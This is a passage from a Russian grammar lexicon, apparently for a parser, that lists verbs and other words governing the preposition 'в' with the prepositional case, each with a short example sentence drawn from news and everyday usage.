rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете 